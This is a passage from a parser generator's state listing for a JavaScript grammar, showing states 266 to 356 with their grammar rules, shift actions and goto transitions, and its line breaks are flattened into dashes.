(MultiplicativeExprNoBF) - - -state 266 - - 108) MultiplicativeExprNoBF : MultiplicativeExprNoBF "/" UnaryExpr _ - - $default reduce using rule 108 (MultiplicativeExprNoBF) - - -state 267 - - 109) MultiplicativeExprNoBF : MultiplicativeExprNoBF "%" UnaryExpr _ - - $default reduce using rule 109 (MultiplicativeExprNoBF) - - -state 268 - - 103) MultiplicativeExpr : MultiplicativeExpr _ "*" UnaryExpr - 104) MultiplicativeExpr : MultiplicativeExpr _ "/" UnaryExpr - 105) MultiplicativeExpr : MultiplicativeExpr _ "%" UnaryExpr - 114) AdditiveExprNoBF : AdditiveExprNoBF "+" MultiplicativeExpr _ - - "*" shift, and go to state 225 - "/" shift, and go to state 226 - "%" shift, and go to state 227 - $default reduce using rule 114 (AdditiveExprNoBF) - - -state 269 - - 103) MultiplicativeExpr : MultiplicativeExpr _ "*" UnaryExpr - 104) MultiplicativeExpr : MultiplicativeExpr _ "/" UnaryExpr - 105) MultiplicativeExpr : MultiplicativeExpr _ "%" UnaryExpr - 115) AdditiveExprNoBF : AdditiveExprNoBF "-" MultiplicativeExpr _ - - "*" shift, and go to state 225 - "/" shift, and go to state 226 - "%" shift, and go to state 227 - $default reduce using rule 115 (AdditiveExprNoBF) - - -state 270 - - 111) AdditiveExpr : AdditiveExpr _ "+" MultiplicativeExpr - 112) AdditiveExpr : AdditiveExpr _ "-" MultiplicativeExpr - 121) ShiftExprNoBF : ShiftExprNoBF LSHIFT AdditiveExpr _ - - "+" shift, and go to state 228 - "-" shift, and go to state 229 - $default reduce using rule 121 (ShiftExprNoBF) - - -state 271 - - 111) AdditiveExpr : AdditiveExpr _ "+" MultiplicativeExpr - 112) AdditiveExpr : AdditiveExpr _ "-" MultiplicativeExpr - 122) ShiftExprNoBF : ShiftExprNoBF RSHIFT AdditiveExpr _ - - "+" shift, and go to state 228 - "-" shift, and go to state 229 - $default reduce using rule 122 (ShiftExprNoBF) - - -state 272 - - 111) AdditiveExpr : AdditiveExpr _ "+" MultiplicativeExpr - 112) AdditiveExpr : AdditiveExpr _ "-" MultiplicativeExpr - 123) ShiftExprNoBF : ShiftExprNoBF URSHIFT AdditiveExpr _ - - "+" shift, and go to state 228 - "-" shift, and go to state 229 - $default reduce using rule 123 (ShiftExprNoBF) - - -state 273 - - 117) ShiftExpr : ShiftExpr _ LSHIFT AdditiveExpr - 118) ShiftExpr : ShiftExpr _ RSHIFT AdditiveExpr - 119) ShiftExpr : ShiftExpr _ URSHIFT AdditiveExpr - 138) RelationalExprNoBF : RelationalExprNoBF "<" ShiftExpr _ - - LSHIFT shift, and go to state 230 - RSHIFT shift, and go to state 231 - URSHIFT shift, and go to state 232 - $default reduce using rule 138 (RelationalExprNoBF) - - -state 274 - - 117) ShiftExpr : ShiftExpr _ LSHIFT AdditiveExpr - 118) ShiftExpr : ShiftExpr _ RSHIFT AdditiveExpr - 119) ShiftExpr : ShiftExpr _ URSHIFT AdditiveExpr - 139) RelationalExprNoBF : RelationalExprNoBF ">" ShiftExpr _ - - LSHIFT shift, and go to state 230 - RSHIFT shift, and go to state 231 - URSHIFT shift, and go to state 232 - $default reduce using rule 139 (RelationalExprNoBF) - - -state 275 - - 117) ShiftExpr : ShiftExpr _ LSHIFT AdditiveExpr - 118) ShiftExpr : ShiftExpr _ RSHIFT AdditiveExpr - 119) ShiftExpr : ShiftExpr _ URSHIFT AdditiveExpr - 140) RelationalExprNoBF : RelationalExprNoBF LE ShiftExpr _ - - LSHIFT shift, and go to state 230 - RSHIFT shift, and go to state 231 - URSHIFT shift, and go to state 232 - $default reduce using rule 140 (RelationalExprNoBF) - - -state 276 - - 117) ShiftExpr : ShiftExpr _ LSHIFT AdditiveExpr - 118) ShiftExpr : ShiftExpr _ RSHIFT AdditiveExpr - 119) ShiftExpr : ShiftExpr _ URSHIFT AdditiveExpr - 141) RelationalExprNoBF : RelationalExprNoBF GE ShiftExpr _ - - LSHIFT shift, and go to state 230 - RSHIFT shift, and go to state 231 - URSHIFT shift, and go to state 232 - $default reduce using rule 141 (RelationalExprNoBF) - - -state 277 - - 117) ShiftExpr : ShiftExpr _ LSHIFT AdditiveExpr - 118) ShiftExpr : ShiftExpr _ RSHIFT AdditiveExpr - 119) ShiftExpr : ShiftExpr _ URSHIFT AdditiveExpr - 142) RelationalExprNoBF : RelationalExprNoBF INSTANCEOF ShiftExpr _ - - LSHIFT shift, and go to state 230 - RSHIFT shift, and go to state 231 - URSHIFT shift, and go to state 232 - $default reduce using rule 142 (RelationalExprNoBF) - - -state 278 - - 117) ShiftExpr : ShiftExpr _ LSHIFT AdditiveExpr - 118) ShiftExpr : ShiftExpr _ RSHIFT AdditiveExpr - 119) ShiftExpr : ShiftExpr _ URSHIFT AdditiveExpr - 143) RelationalExprNoBF : RelationalExprNoBF IN ShiftExpr _ - - LSHIFT shift, and go to state 230 - RSHIFT shift, and go to state 231 - URSHIFT shift, and go to state 232 - $default reduce using rule 143 (RelationalExprNoBF) - - -state 279 - - 125) RelationalExpr : RelationalExpr _ "<" ShiftExpr - 126) RelationalExpr : RelationalExpr _ ">" ShiftExpr - 127) RelationalExpr : RelationalExpr _ LE ShiftExpr - 128) RelationalExpr : RelationalExpr _ GE ShiftExpr - 129) RelationalExpr : RelationalExpr _ INSTANCEOF ShiftExpr - 130) RelationalExpr : RelationalExpr _ IN ShiftExpr - 155) EqualityExprNoBF : EqualityExprNoBF EQEQ RelationalExpr _ - - IN shift, and go to state 238 - INSTANCEOF shift, and go to state 237 - LE shift, and go to state 235 - GE shift, and go to state 236 - "<" shift, and go to state 233 - ">" shift, and go to state 234 - $default reduce using rule 155 (EqualityExprNoBF) - - -state 280 - - 125) RelationalExpr : RelationalExpr _ "<" ShiftExpr - 126) RelationalExpr : RelationalExpr _ ">" ShiftExpr - 127) RelationalExpr : RelationalExpr _ LE ShiftExpr - 128) RelationalExpr : RelationalExpr _ GE ShiftExpr - 129) RelationalExpr : RelationalExpr _ INSTANCEOF ShiftExpr - 130) RelationalExpr : RelationalExpr _ IN ShiftExpr - 156) EqualityExprNoBF : EqualityExprNoBF NE RelationalExpr _ - - IN shift, and go to state 238 - INSTANCEOF shift, and go to state 237 - LE shift, and go to state 235 - GE shift, and go to state 236 - "<" shift, and go to state 233 - ">" shift, and go to state 234 - $default reduce using rule 156 (EqualityExprNoBF) - - -state 281 - - 125) RelationalExpr : RelationalExpr _ "<" ShiftExpr - 126) RelationalExpr : RelationalExpr _ ">" ShiftExpr - 127) RelationalExpr : RelationalExpr _ LE ShiftExpr - 128) RelationalExpr : RelationalExpr _ GE ShiftExpr - 129) RelationalExpr : RelationalExpr _ INSTANCEOF ShiftExpr - 130) RelationalExpr : RelationalExpr _ IN ShiftExpr - 157) EqualityExprNoBF : EqualityExprNoBF STREQ RelationalExpr _ - - IN shift, and go to state 238 - INSTANCEOF shift, and go to state 237 - LE shift, and go to state 235 - GE shift, and go to state 236 - "<" shift, and go to state 233 - ">" shift, and go to state 234 - $default reduce using rule 157 (EqualityExprNoBF) - - -state 282 - - 125) RelationalExpr : RelationalExpr _ "<" ShiftExpr - 126) RelationalExpr : RelationalExpr _ ">" ShiftExpr - 127) RelationalExpr : RelationalExpr _ LE ShiftExpr - 128) RelationalExpr : RelationalExpr _ GE ShiftExpr - 129) RelationalExpr : RelationalExpr _ INSTANCEOF ShiftExpr - 130) RelationalExpr : RelationalExpr _ IN ShiftExpr - 158) EqualityExprNoBF : EqualityExprNoBF STRNEQ RelationalExpr _ - - IN shift, and go to state 238 - INSTANCEOF shift, and go to state 237 - LE shift, and go to state 235 - GE shift, and go to state 236 - "<" shift, and go to state 233 - ">" shift, and go to state 234 - $default reduce using rule 158 (EqualityExprNoBF) - - -state 283 - - 145) EqualityExpr : EqualityExpr _ EQEQ RelationalExpr - 146) EqualityExpr : EqualityExpr _ NE RelationalExpr - 147) EqualityExpr : EqualityExpr _ STREQ RelationalExpr - 148) EqualityExpr : EqualityExpr _ STRNEQ RelationalExpr - 164) BitwiseANDExprNoBF : BitwiseANDExprNoBF "&" EqualityExpr _ - - EQEQ shift, and go to state 239 - NE shift, and go to state 240 - STREQ shift, and go to state 241 - STRNEQ shift, and go to state 242 - $default reduce using rule 164 (BitwiseANDExprNoBF) - - -state 284 - - 160) BitwiseANDExpr : BitwiseANDExpr _ "&" EqualityExpr - 170) BitwiseXORExprNoBF : BitwiseXORExprNoBF "^" BitwiseANDExpr _ - - "&" shift, and go to state 243 - $default reduce using rule 170 (BitwiseXORExprNoBF) - - -state 285 - - 166) BitwiseXORExpr : BitwiseXORExpr _ "^" BitwiseANDExpr - 176) BitwiseORExprNoBF : BitwiseORExprNoBF "|" BitwiseXORExpr _ - - "^" shift, and go to state 244 - $default reduce using rule 176 (BitwiseORExprNoBF) - - -state 286 - - 172) BitwiseORExpr : BitwiseORExpr _ "|" BitwiseXORExpr - 182) LogicalANDExprNoBF : LogicalANDExprNoBF AND BitwiseORExpr _ - - "|" shift, and go to state 245 - $default reduce using rule 182 (LogicalANDExprNoBF) - - -state 287 - - 178) LogicalANDExpr : LogicalANDExpr _ AND BitwiseORExpr - 188) LogicalORExprNoBF : LogicalORExprNoBF OR LogicalANDExpr _ - - AND shift, and go to state 246 - $default reduce using rule 188 (LogicalORExprNoBF) - - -state 288 - - 194) ConditionalExprNoBF : LogicalORExprNoBF "?" AssignmentExpr _ ":" AssignmentExpr - - ":" shift, and go to state 376 - - -state 289 - - 218) ExprNoBF : ExprNoBF "," AssignmentExpr _ - - $default reduce using rule 218 (ExprNoBF) - - -state 290 - - 219) Block : "{" SourceElements "}" _ - - $default reduce using rule 219 (Block) - - -state 291 - - 220) VariableStatement : VAR VariableDeclarationList ";" _ - - $default reduce using rule 220 (VariableStatement) - - -state 292 - - 221) VariableStatement : VAR VariableDeclarationList error _ - - $default reduce using rule 221 (VariableStatement) - - -state 293 - - 223) VariableDeclarationList : VariableDeclarationList "," _ VariableDeclaration - - IDENT shift, and go to state 180 - - VariableDeclaration go to state 377 - -state 294 - - 227) VariableDeclaration : IDENT Initializer _ - - $default reduce using rule 227 (VariableDeclaration) - - -state 295 - - 236) Initializer : "=" _ AssignmentExpr - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 95 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - UnaryExpr go to state 98 - MultiplicativeExpr go to state 99 - AdditiveExpr go to state 100 - ShiftExpr go to state 101 - RelationalExpr go to state 102 - EqualityExpr go to state 103 - BitwiseANDExpr go to state 104 - BitwiseXORExpr go to state 105 - BitwiseORExpr go to state 106 - LogicalANDExpr go to state 107 - LogicalORExpr go to state 108 - ConditionalExpr go to state 109 - AssignmentExpr go to state 378 - -state 296 - - 230) ConstStatement : CONST ConstDeclarationList ";" _ - - $default reduce using rule 230 (ConstStatement) - - -state 297 - - 231) ConstStatement : CONST ConstDeclarationList error _ - - $default reduce using rule 231 (ConstStatement) - - -state 298 - - 233) ConstDeclarationList : ConstDeclarationList "," _ ConstDeclaration - - IDENT shift, and go to state 183 - - ConstDeclaration go to state 379 - -state 299 - - 235) ConstDeclaration : IDENT Initializer _ - - $default reduce using rule 235 (ConstDeclaration) - - -state 300 - - 214) Expr : Expr _ "," AssignmentExpr - 241) IfStatement : IF "(" Expr _ ")" Statement - 242) IfStatement : IF "(" Expr _ ")" Statement ELSE Statement - - ")" shift, and go to state 380 - "," shift, and go to state 213 - - -state 301 - - 243) IterationStatement : DO Statement WHILE _ "(" Expr ")" ";" - 244) IterationStatement : DO Statement WHILE _ "(" Expr ")" error - - "(" shift, and go to state 381 - - -state 302 - - 214) Expr : Expr _ "," AssignmentExpr - 245) IterationStatement : WHILE "(" Expr _ ")" Statement - - ")" shift, and go to state 382 - "," shift, and go to state 213 - - -state 303 - - 83) PostfixExpr : LeftHandSideExpr _ - 84) PostfixExpr : LeftHandSideExpr _ PLUSPLUS - 85) PostfixExpr : LeftHandSideExpr _ MINUSMINUS - 198) AssignmentExprNoIn : LeftHandSideExpr _ AssignmentOperator AssignmentExprNoIn - 248) IterationStatement : FOR "(" LeftHandSideExpr _ IN Expr ")" Statement - - IN shift, and go to state 384 - PLUSPLUS shift, and go to state 222 - MINUSMINUS shift, and go to state 223 - PLUSEQUAL shift, and go to state 129 - MINUSEQUAL shift, and go to state 130 - MULTEQUAL shift, and go to state 131 - DIVEQUAL shift, and go to state 132 - LSHIFTEQUAL shift, and go to state 133 - RSHIFTEQUAL shift, and go to state 134 - URSHIFTEQUAL shift, and go to state 135 - ANDEQUAL shift, and go to state 136 - MODEQUAL shift, and go to state 139 - XOREQUAL shift, and go to state 137 - OREQUAL shift, and go to state 138 - "=" shift, and go to state 128 - $default reduce using rule 83 (PostfixExpr) - - AssignmentOperator go to state 383 - -state 304 - - 117) ShiftExpr : ShiftExpr _ LSHIFT AdditiveExpr - 118) ShiftExpr : ShiftExpr _ RSHIFT AdditiveExpr - 119) ShiftExpr : ShiftExpr _ URSHIFT AdditiveExpr - 131) RelationalExprNoIn : ShiftExpr _ - - LSHIFT shift, and go to state 230 - RSHIFT shift, and go to state 231 - URSHIFT shift, and go to state 232 - $default reduce using rule 131 (RelationalExprNoIn) - - -state 305 - - 132) RelationalExprNoIn : RelationalExprNoIn _ "<" ShiftExpr - 133) RelationalExprNoIn : RelationalExprNoIn _ ">" ShiftExpr - 134) RelationalExprNoIn : RelationalExprNoIn _ LE ShiftExpr - 135) RelationalExprNoIn : RelationalExprNoIn _ GE ShiftExpr - 136) RelationalExprNoIn : RelationalExprNoIn _ INSTANCEOF ShiftExpr - 149) EqualityExprNoIn : RelationalExprNoIn _ - - INSTANCEOF shift, and go to state 389 - LE shift, and go to state 387 - GE shift, and go to state 388 - "<" shift, and go to state 385 - ">" shift, and go to state 386 - $default reduce using rule 149 (EqualityExprNoIn) - - -state 306 - - 150) EqualityExprNoIn : EqualityExprNoIn _ EQEQ RelationalExprNoIn - 151) EqualityExprNoIn : EqualityExprNoIn _ NE RelationalExprNoIn - 152) EqualityExprNoIn : EqualityExprNoIn _ STREQ RelationalExprNoIn - 153) EqualityExprNoIn : EqualityExprNoIn _ STRNEQ RelationalExprNoIn - 161) BitwiseANDExprNoIn : EqualityExprNoIn _ - - EQEQ shift, and go to state 390 - NE shift, and go to state 391 - STREQ shift, and go to state 392 - STRNEQ shift, and go to state 393 - $default reduce using rule 161 (BitwiseANDExprNoIn) - - -state 307 - - 162) BitwiseANDExprNoIn : BitwiseANDExprNoIn _ "&" EqualityExprNoIn - 167) BitwiseXORExprNoIn : BitwiseANDExprNoIn _ - - "&" shift, and go to state 394 - $default reduce using rule 167 (BitwiseXORExprNoIn) - - -state 308 - - 168) BitwiseXORExprNoIn : BitwiseXORExprNoIn _ "^" BitwiseANDExprNoIn - 173) BitwiseORExprNoIn : BitwiseXORExprNoIn _ - - "^" shift, and go to state 395 - $default reduce using rule 173 (BitwiseORExprNoIn) - - -state 309 - - 174) BitwiseORExprNoIn : BitwiseORExprNoIn _ "|" BitwiseXORExprNoIn - 179) LogicalANDExprNoIn : BitwiseORExprNoIn _ - - "|" shift, and go to state 396 - $default reduce using rule 179 (LogicalANDExprNoIn) - - -state 310 - - 180) LogicalANDExprNoIn : LogicalANDExprNoIn _ AND BitwiseORExprNoIn - 185) LogicalORExprNoIn : LogicalANDExprNoIn _ - - AND shift, and go to state 397 - $default reduce using rule 185 (LogicalORExprNoIn) - - -state 311 - - 186) LogicalORExprNoIn : LogicalORExprNoIn _ OR LogicalANDExprNoIn - 191) ConditionalExprNoIn : LogicalORExprNoIn _ - 192) ConditionalExprNoIn : LogicalORExprNoIn _ "?" AssignmentExprNoIn ":" AssignmentExprNoIn - - OR shift, and go to state 398 - "?" shift, and go to state 399 - $default reduce using rule 191 (ConditionalExprNoIn) - - -state 312 - - 197) AssignmentExprNoIn : ConditionalExprNoIn _ - - $default reduce using rule 197 (AssignmentExprNoIn) - - -state 313 - - 215) ExprNoIn : AssignmentExprNoIn _ - - $default reduce using rule 215 (ExprNoIn) - - -state 314 - - 216) ExprNoIn : ExprNoIn _ "," AssignmentExprNoIn - 254) ExprNoInOpt : ExprNoIn _ - - "," shift, and go to state 400 - $default reduce using rule 254 (ExprNoInOpt) - - -state 315 - - 246) IterationStatement : FOR "(" ExprNoInOpt _ ";" ExprOpt ";" ExprOpt ")" Statement - - ";" shift, and go to state 401 - - -state 316 - - 247) IterationStatement : FOR "(" VAR _ VariableDeclarationListNoIn ";" ExprOpt ";" ExprOpt ")" Statement - 249) IterationStatement : FOR "(" VAR _ IDENT IN Expr ")" Statement - 250) IterationStatement : FOR "(" VAR _ IDENT InitializerNoIn IN Expr ")" Statement - - IDENT shift, and go to state 404 - - VariableDeclarationNoIn go to state 402 - VariableDeclarationListNoIn go to state 403 - -state 317 - - 257) ContinueStatement : CONTINUE IDENT ";" _ - - $default reduce using rule 257 (ContinueStatement) - - -state 318 - - 258) ContinueStatement : CONTINUE IDENT error _ - - $default reduce using rule 258 (ContinueStatement) - - -state 319 - - 261) BreakStatement : BREAK IDENT ";" _ - - $default reduce using rule 261 (BreakStatement) - - -state 320 - - 262) BreakStatement : BREAK IDENT error _ - - $default reduce using rule 262 (BreakStatement) - - -state 321 - - 265) ReturnStatement : RETURN Expr ";" _ - - $default reduce using rule 265 (ReturnStatement) - - -state 322 - - 266) ReturnStatement : RETURN Expr error _ - - $default reduce using rule 266 (ReturnStatement) - - -state 323 - - 214) Expr : Expr _ "," AssignmentExpr - 267) WithStatement : WITH "(" Expr _ ")" Statement - - ")" shift, and go to state 405 - "," shift, and go to state 213 - - -state 324 - - 214) Expr : Expr _ "," AssignmentExpr - 268) SwitchStatement : SWITCH "(" Expr _ ")" CaseBlock - - ")" shift, and go to state 406 - "," shift, and go to state 213 - - -state 325 - - 278) ThrowStatement : THROW Expr ";" _ - - $default reduce using rule 278 (ThrowStatement) - - -state 326 - - 279) ThrowStatement : THROW Expr error _ - - $default reduce using rule 279 (ThrowStatement) - - -state 327 - - 280) TryStatement : TRY Block FINALLY _ Block - - "{" shift, and go to state 65 - - Block go to state 407 - -state 328 - - 281) TryStatement : TRY Block CATCH _ "(" IDENT ")" Block - 282) TryStatement : TRY Block CATCH _ "(" IDENT ")" Block FINALLY Block - - "(" shift, and go to state 408 - - -state 329 - - 285) FunctionDeclaration : FUNCTION IDENT "(" _ ")" "{" FunctionBody "}" - 286) FunctionDeclaration : FUNCTION IDENT "(" _ FormalParameterList ")" "{" FunctionBody "}" - - IDENT shift, and go to state 369 - ")" shift, and go to state 409 - - FormalParameterList go to state 410 - -state 330 - - 29) Property : IDENT ":" _ AssignmentExpr - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - - AssignmentExpr go to state 411 - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 95 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - UnaryExpr go to state 98 - MultiplicativeExpr go to state 99 - AdditiveExpr go to state 100 - ShiftExpr go to state 101 - RelationalExpr go to state 102 - EqualityExpr go to state 103 - BitwiseANDExpr go to state 104 - BitwiseXORExpr go to state 105 - BitwiseORExpr go to state 106 - LogicalANDExpr go to state 107 - LogicalORExpr go to state 108 - ConditionalExpr go to state 109 - -state 331 - - 32) Property : IDENT IDENT _ "(" ")" "{" FunctionBody "}" - 33) Property : IDENT IDENT _ "(" FormalParameterList ")" "{" FunctionBody "}" - - "(" shift, and go to state 412 - - -state 332 - - 30) Property : STRING ":" _ AssignmentExpr - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - - AssignmentExpr go to state 413 - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 95 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - UnaryExpr go to state 98 - MultiplicativeExpr go to state 99 - AdditiveExpr go to state 100 - ShiftExpr go to state 101 - RelationalExpr go to state 102 - EqualityExpr go to state 103 - BitwiseANDExpr go to state 104 - BitwiseXORExpr go to state 105 - BitwiseORExpr go to state 106 - LogicalANDExpr go to state 107 - LogicalORExpr go to state 108 - ConditionalExpr go to state 109 - -state 333 - - 31) Property : NUMBER ":" _ AssignmentExpr - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - - AssignmentExpr go to state 414 - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 95 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - UnaryExpr go to state 98 - MultiplicativeExpr go to state 99 - AdditiveExpr go to state 100 - ShiftExpr go to state 101 - RelationalExpr go to state 102 - EqualityExpr go to state 103 - BitwiseANDExpr go to state 104 - BitwiseXORExpr go to state 105 - BitwiseORExpr go to state 106 - LogicalANDExpr go to state 107 - LogicalORExpr go to state 108 - ConditionalExpr go to state 109 - -state 334 - - 35) PropertyList : PropertyList "," _ Property - 39) PrimaryExpr : "{" PropertyList "," _ "}" - - NUMBER shift, and go to state 208 - STRING shift, and go to state 207 - IDENT shift, and go to state 206 - "}" shift, and go to state 416 - - Property go to state 415 - -state 335 - - 38) PrimaryExpr : "{" PropertyList "}" _ - - $default reduce using rule 38 (PrimaryExpr) - - -state 336 - - 214) Expr : Expr "," AssignmentExpr _ - - $default reduce using rule 214 (Expr) - - -state 337 - - 56) MemberExpr : MemberExpr "[" Expr _ "]" - 214) Expr : Expr _ "," AssignmentExpr - - "," shift, and go to state 213 - "]" shift, and go to state 417 - - -state 338 - - 57) MemberExpr : MemberExpr "." IDENT _ - - $default reduce using rule 57 (MemberExpr) - - -state 339 - - 58) MemberExpr : NEW MemberExpr Arguments _ - - $default reduce using rule 58 (MemberExpr) - - -state 340 - - 69) CallExpr : CallExpr "[" Expr _ "]" - 214) Expr : Expr _ "," AssignmentExpr - - "," shift, and go to state 213 - "]" shift, and go to state 418 - - -state 341 - - 70) CallExpr : CallExpr "." IDENT _ - - $default reduce using rule 70 (CallExpr) - - -state 342 - - 196) AssignmentExpr : LeftHandSideExpr AssignmentOperator AssignmentExpr _ - - $default reduce using rule 196 (AssignmentExpr) - - -state 343 - - 103) MultiplicativeExpr : MultiplicativeExpr "*" UnaryExpr _ - - $default reduce using rule 103 (MultiplicativeExpr) - - -state 344 - - 104) MultiplicativeExpr : MultiplicativeExpr "/" UnaryExpr _ - - $default reduce using rule 104 (MultiplicativeExpr) - - -state 345 - - 105) MultiplicativeExpr : MultiplicativeExpr "%" UnaryExpr _ - - $default reduce using rule 105 (MultiplicativeExpr) - - -state 346 - - 103) MultiplicativeExpr : MultiplicativeExpr _ "*" UnaryExpr - 104) MultiplicativeExpr : MultiplicativeExpr _ "/" UnaryExpr - 105) MultiplicativeExpr : MultiplicativeExpr _ "%" UnaryExpr - 111) AdditiveExpr : AdditiveExpr "+" MultiplicativeExpr _ - - "*" shift, and go to state 225 - "/" shift, and go to state 226 - "%" shift, and go to state 227 - $default reduce using rule 111 (AdditiveExpr) - - -state 347 - - 103) MultiplicativeExpr : MultiplicativeExpr _ "*" UnaryExpr - 104) MultiplicativeExpr : MultiplicativeExpr _ "/" UnaryExpr - 105) MultiplicativeExpr : MultiplicativeExpr _ "%" UnaryExpr - 112) AdditiveExpr : AdditiveExpr "-" MultiplicativeExpr _ - - "*" shift, and go to state 225 - "/" shift, and go to state 226 - "%" shift, and go to state 227 - $default reduce using rule 112 (AdditiveExpr) - - -state 348 - - 111) AdditiveExpr : AdditiveExpr _ "+" MultiplicativeExpr - 112) AdditiveExpr : AdditiveExpr _ "-" MultiplicativeExpr - 117) ShiftExpr : ShiftExpr LSHIFT AdditiveExpr _ - - "+" shift, and go to state 228 - "-" shift, and go to state 229 - $default reduce using rule 117 (ShiftExpr) - - -state 349 - - 111) AdditiveExpr : AdditiveExpr _ "+" MultiplicativeExpr - 112) AdditiveExpr : AdditiveExpr _ "-" MultiplicativeExpr - 118) ShiftExpr : ShiftExpr RSHIFT AdditiveExpr _ - - "+" shift, and go to state 228 - "-" shift, and go to state 229 - $default reduce using rule 118 (ShiftExpr) - - -state 350 - - 111) AdditiveExpr : AdditiveExpr _ "+" MultiplicativeExpr - 112) AdditiveExpr : AdditiveExpr _ "-" MultiplicativeExpr - 119) ShiftExpr : ShiftExpr URSHIFT AdditiveExpr _ - - "+" shift, and go to state 228 - "-" shift, and go to state 229 - $default reduce using rule 119 (ShiftExpr) - - -state 351 - - 117) ShiftExpr : ShiftExpr _ LSHIFT AdditiveExpr - 118) ShiftExpr : ShiftExpr _ RSHIFT AdditiveExpr - 119) ShiftExpr : ShiftExpr _ URSHIFT AdditiveExpr - 125) RelationalExpr : RelationalExpr "<" ShiftExpr _ - - LSHIFT shift, and go to state 230 - RSHIFT shift, and go to state 231 - URSHIFT shift, and go to state 232 - $default reduce using rule 125 (RelationalExpr) - - -state 352 - - 117) ShiftExpr : ShiftExpr _ LSHIFT AdditiveExpr - 118) ShiftExpr : ShiftExpr _ RSHIFT AdditiveExpr - 119) ShiftExpr : ShiftExpr _ URSHIFT AdditiveExpr - 126) RelationalExpr : RelationalExpr ">" ShiftExpr _ - - LSHIFT shift, and go to state 230 - RSHIFT shift, and go to state 231 - URSHIFT shift, and go to state 232 - $default reduce using rule 126 (RelationalExpr) - - -state 353 - - 117) ShiftExpr : ShiftExpr _ LSHIFT AdditiveExpr - 118) ShiftExpr : ShiftExpr _ RSHIFT AdditiveExpr - 119) ShiftExpr : ShiftExpr _ URSHIFT AdditiveExpr - 127) RelationalExpr : RelationalExpr LE ShiftExpr _ - - LSHIFT shift, and go to state 230 - RSHIFT shift, and go to state 231 - URSHIFT shift, and go to state 232 - $default reduce using rule 127 (RelationalExpr) - - -state 354 - - 117) ShiftExpr : ShiftExpr _ LSHIFT AdditiveExpr - 118) ShiftExpr : ShiftExpr _ RSHIFT AdditiveExpr - 119) ShiftExpr : ShiftExpr _ URSHIFT AdditiveExpr - 128) RelationalExpr : RelationalExpr GE ShiftExpr _ - - LSHIFT shift, and go to state 230 - RSHIFT shift, and go to state 231 - URSHIFT shift, and go to state 232 - $default reduce using rule 128 (RelationalExpr) - - -state 355 - - 117) ShiftExpr : ShiftExpr _ LSHIFT AdditiveExpr - 118) ShiftExpr : ShiftExpr _ RSHIFT AdditiveExpr - 119) ShiftExpr : ShiftExpr _ URSHIFT AdditiveExpr - 129) RelationalExpr : RelationalExpr INSTANCEOF ShiftExpr _ - - LSHIFT shift, and go to state 230 - RSHIFT shift, and go to state 231 - URSHIFT shift, and go to state 232 - $default reduce using rule 129 (RelationalExpr) - - -state 356 - - 117) ShiftExpr : ShiftExpr _ LSHIFT AdditiveExpr - 118) ShiftExpr : ShiftExpr _ RSHIFT AdditiveExpr - 119) 